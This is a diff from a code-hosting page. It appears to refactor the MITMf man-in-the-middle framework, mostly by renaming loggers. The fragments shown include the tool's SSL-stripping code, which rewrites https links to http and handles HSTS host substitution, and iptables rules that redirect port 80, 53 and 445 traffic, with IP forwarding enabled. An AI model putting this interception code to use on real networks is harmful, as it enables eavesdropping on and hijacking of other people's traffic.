log.info("[ServerConnection] Client connection dropped before request finished.")
|
||||
|
||||
def replaceSecureLinks(self, data):
|
||||
if self.hsts:
|
||||
|
@ -214,7 +217,7 @@ class ServerConnection(HTTPClient):
|
|||
sustitucion = {}
|
||||
patchDict = self.urlMonitor.patchDict
|
||||
|
||||
if len(patchDict)>0:
|
||||
if patchDict:
|
||||
dregex = re.compile("({})".format("|".join(map(re.escape, patchDict.keys()))))
|
||||
data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
|
||||
|
||||
|
@ -222,12 +225,12 @@ class ServerConnection(HTTPClient):
|
|||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url)
|
||||
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
||||
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
|
||||
log.debug("[ServerConnection][HSTS] Found secure reference: " + url)
|
||||
nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
|
||||
log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
|
||||
sustitucion[url] = nuevaurl
|
||||
|
||||
if len(sustitucion)>0:
|
||||
if sustitucion:
|
||||
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
|
||||
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
||||
|
||||
|
@ -240,11 +243,11 @@ class ServerConnection(HTTPClient):
|
|||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
mitmf_logger.debug("[ServerConnection] Found secure reference: " + url)
|
||||
log.debug("[ServerConnection] Found secure reference: " + url)
|
||||
|
||||
url = url.replace('https://', 'http://', 1)
|
||||
url = url.replace('&', '&')
|
||||
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
||||
self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
|
||||
|
||||
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
|
||||
return re.sub(ServerConnection.urlType, 'http://', data)
|
||||
|
|
|
@ -17,9 +17,10 @@
|
|||
#
|
||||
|
||||
import logging
|
||||
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
mitmf_logger = logging.getLogger('mimtf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
|
@ -34,12 +35,12 @@ class ServerConnectionFactory(ClientFactory):
|
|||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.")
|
||||
log.debug("[ServerConnectionFactory] Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL")
|
||||
log.debug("[ServerConnectionFactory] Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
try:
|
||||
|
|
|
@ -18,9 +18,10 @@
|
|||
|
||||
import re, os
|
||||
import logging
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
mitmf_logger = logging.getLogger('mimtf')
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class URLMonitor:
|
||||
|
||||
|
@ -57,7 +58,7 @@ class URLMonitor:
|
|||
|
||||
#This is here because I'm lazy
|
||||
def getResolverPort(self):
|
||||
return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port'])
|
||||
return int(ConfigWatcher().config['MITMf']['DNS']['port'])
|
||||
|
||||
def isSecureLink(self, client, url):
|
||||
for expression in URLMonitor.javascriptTrickery:
|
||||
|
@ -78,7 +79,7 @@ class URLMonitor:
|
|||
s.add(to_url)
|
||||
return
|
||||
url_set = set([from_url, to_url])
|
||||
mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set))
|
||||
log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set))
|
||||
self.redirects.append(url_set)
|
||||
|
||||
def getRedirectionSet(self, url):
|
||||
|
@ -119,7 +120,7 @@ class URLMonitor:
|
|||
else:
|
||||
self.sustitucion[host] = "web"+host
|
||||
self.real["web"+host] = host
|
||||
mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||
log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||
|
||||
url = 'http://' + host + path
|
||||
|
||||
|
@ -155,14 +156,14 @@ class URLMonitor:
|
|||
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
||||
|
||||
def URLgetRealHost(self, host):
|
||||
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
|
||||
log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
|
||||
|
||||
self.updateHstsConfig()
|
||||
|
||||
if self.real.has_key(host):
|
||||
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
|
||||
log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
|
||||
return self.real[host]
|
||||
|
||||
else:
|
||||
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
|
||||
log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
|
||||
return host
|
||||
|
|
|
@ -25,22 +25,23 @@ import logging
|
|||
import re
|
||||
import sys
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
def shutdown(message=None):
|
||||
for plugin in ProxyPlugins.getInstance().plist:
|
||||
plugin.finish()
|
||||
plugin.on_shutdown()
|
||||
sys.exit(message)
|
||||
|
||||
class SystemConfig:
|
||||
|
||||
@staticmethod
|
||||
def setIpForwarding(value):
|
||||
mitmf_logger.debug("[Utils] Setting ip forwarding to {}".format(value))
|
||||
log.debug("[Utils] Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
|
@ -53,7 +54,7 @@ class SystemConfig:
|
|||
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
||||
|
||||
return ip_address
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
||||
|
||||
@staticmethod
|
||||
|
@ -81,23 +82,23 @@ class IpTables:
|
|||
return IpTables._instance
|
||||
|
||||
def Flush(self):
|
||||
mitmf_logger.debug("[Utils] Flushing iptables")
|
||||
log.debug("[Utils] Flushing iptables")
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
self.dns = False
|
||||
self.http = False
|
||||
|
||||
def HTTP(self, http_redir_port):
|
||||
mitmf_logger.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
|
||||
self.http = True
|
||||
|
||||
def DNS(self, dns_redir_port):
|
||||
mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
|
||||
self.dns = True
|
||||
|
||||
def SMB(self, smb_redir_port):
|
||||
mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
||||
self.smb = True
|
||||
|
||||
|
@ -163,6 +164,6 @@ class Banners:
|
|||
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝
|
||||
"""
|
||||
|
||||
def printBanner(self):
|
||||
def get_banner(self):
|
||||
banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5]
|
||||
print random.choice(banners)
|
||||
return random.choice(banners)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue